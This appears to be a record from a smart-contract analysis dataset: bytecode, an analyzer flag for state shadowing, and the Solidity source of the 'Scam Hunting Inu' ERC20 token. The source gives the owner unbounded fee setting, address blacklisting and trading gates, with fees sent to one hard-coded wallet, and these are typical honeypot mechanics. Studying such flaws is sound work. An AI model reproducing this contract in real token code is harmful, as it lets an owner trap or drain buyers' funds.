ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461122391906119ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115cb565b60405180910390a350505050565b60008082846112a491906119ee565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90611a90565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b6115c581611510565b82525050565b60006020820190506115e060008301846115bc565b92915050565b6000806000606084860312156115ff576115fe6114a8565b5b600061160d868287016114fb565b935050602061161e868287016114fb565b925050604061162f86828701611531565b9150509250925092565b600060ff82169050919050565b61164f81611639565b82525050565b600060208201905061166a6000830184611646565b92915050565b600060208284031215611686576116856114a8565b5b6000611694848285016114fb565b91505092915050565b6116a6816114d2565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61170482611432565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b600061173661149e565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c388826114fb565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246114a8565b5b600082013567ffffffffffffffff811115611843576118426114ad565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6114a8565b5b600061187d858286016114fb565b925050602061188e858286016114fb565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119556028836113ee565b9150611960826118f9565b604082019050919050565b6000602082019050818103600083015261198481611948565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c582611510565b91506119d083611510565b9250828210156119e3576119e261198b565b5b828203905092915050565b60006119f982611510565b9150611a0483611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a3957611a3861198b565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a7a6020836113ee565b9150611a8582611a44565b602082019050919050565b60006020820190508181036000830152611aa981611a6d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c6025836113ee565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae61198b565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea2646970667358221220db600f3383576496e56d6290cfbf5a35af5095588137fae1057416620057694864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
4,842
0xd30adf7928f20150b4591896111a102b87c1f591
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ScamHuntingInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Scam Hunting Inu"; string private constant _symbol = "SHINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7B052AC9f6AE8841f4d90055B9a9111A1d772d23); address payable private _marketingAddress = payable(0x7B052AC9f6AE8841f4d90055B9a9111A1d772d23); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; //0.3 uint256 public _maxWalletSize = 20000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a9059cbb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a9059cbb146105c2578063bdd795ef146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f9a55c0116100d15780638f9a55c01461051a57806395d89b411461054557806398a5c31514610570578063a2a957bb14610599576101e2565b806374010ece146104725780637d1db4a51461049b5780638da5cb5b146104c65780638f70ccf7146104f1576101e2565b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b80632fd689e314610334578063313ce5671461035f57806349bd5a5e1461038a5780636b999053146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632f9c45691461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e600480360381019061020991906131c8565b610748565b005b34801561021c57600080fd5b50610225610872565b6040516102329190613648565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613128565b6108af565b60405161026f9190613612565b60405180910390f35b34801561028457600080fd5b5061028d6108cd565b60405161029a919061362d565b60405180910390f35b3480156102af57600080fd5b506102b86108f3565b6040516102c5919061384a565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190613095565b610903565b6040516103029190613612565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d91906130e8565b6109dc565b005b34801561034057600080fd5b50610349610b5f565b604051610356919061384a565b60405180910390f35b34801561036b57600080fd5b50610374610b65565b60405161038191906138bf565b60405180910390f35b34801561039657600080fd5b5061039f610b6e565b6040516103ac91906135f7565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d79190612ffb565b610b94565b005b3480156103ea57600080fd5b5061040560048036038101906104009190613211565b610c84565b005b34801561041357600080fd5b5061041c610d35565b005b34801561042a57600080fd5b5061044560048036038101906104409190612ffb565b610e06565b604051610452919061384a565b60405180910390f35b34801561046757600080fd5b50610470610e57565b005b34801561047e57600080fd5b506104996004803603810190610494919061323e565b610faa565b005b3480156104a757600080fd5b506104b0611049565b6040516104bd919061384a565b60405180910390f35b3480156104d257600080fd5b506104db61104f565b6040516104e891906135f7565b60405180910390f35b3480156104fd57600080fd5b5061051860048036038101906105139190613211565b611078565b005b34801561052657600080fd5b5061052f61112a565b60405161053c919061384a565b60405180910390f35b34801561055157600080fd5b5061055a611130565b6040516105679190613648565b60405180910390f35b34801561057c57600080fd5b506105976004803603810190610592919061323e565b61116d565b005b3480156105a557600080fd5b506105c060048036038101906105bb919061326b565b61120c565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613128565b6112c3565b6040516105f69190613612565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190612ffb565b6112e1565b6040516106339190613612565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190612ffb565b611301565b6040516106709190613612565b60405180910390f35b34801561068557600080fd5b5061068e611321565b005b34801561069c57600080fd5b506106b760048036038101906106b29190613168565b6113fa565b005b3480156106c557600080fd5b506106e060048036038101906106db9190613055565b611534565b6040516106ed919061384a565b60405180910390f35b34801561070257600080fd5b5061071d6004803603810190610718919061323e565b6115bb565b005b34801561072b57600080fd5b5061074660048036038101906107419190612ffb565b61165a565b005b61075061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906137aa565b60405180910390fd5b60005b815181101561086e5760016010600084848151811061080257610801613c3d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086690613b96565b9150506107e0565b5050565b60606040518060400160405280601081526020017f5363616d2048756e74696e6720496e7500000000000000000000000000000000815250905090565b60006108c36108bc61181c565b8484611824565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006109108484846119ef565b6109d18461091c61181c565b6109cc8560405180606001604052806028815260200161411460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098261181c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123379092919063ffffffff16565b611824565b600190509392505050565b6109e461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906137aa565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061376a565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b9c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c20906137aa565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c8c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d10906137aa565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7661181c565b73ffffffffffffffffffffffffffffffffffffffff161480610dec5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd461181c565b73ffffffffffffffffffffffffffffffffffffffff16145b610df557600080fd5b6000479050610e038161239b565b50565b6000610e50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612496565b9050919050565b610e5f61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee3906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fb261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906137aa565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61108061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461110d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611104906137aa565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f5348494e55000000000000000000000000000000000000000000000000000000815250905090565b61117561181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f9906137aa565b60405180910390fd5b8060198190555050565b61121461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611298906137aa565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112d76112d061181c565b84846119ef565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661136261181c565b73ffffffffffffffffffffffffffffffffffffffff1614806113d85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113c061181c565b73ffffffffffffffffffffffffffffffffffffffff16145b6113e157600080fd5b60006113ec30610e06565b90506113f781612504565b50565b61140261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906137aa565b60405180910390fd5b60005b8383905081101561152e5781600560008686858181106114b5576114b4613c3d565b5b90506020020160208101906114ca9190612ffb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061152690613b96565b915050611492565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115c361181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611647906137aa565b60405180910390fd5b8060188190555050565b61166261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e6906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561175f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611756906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061382a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb9061370a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5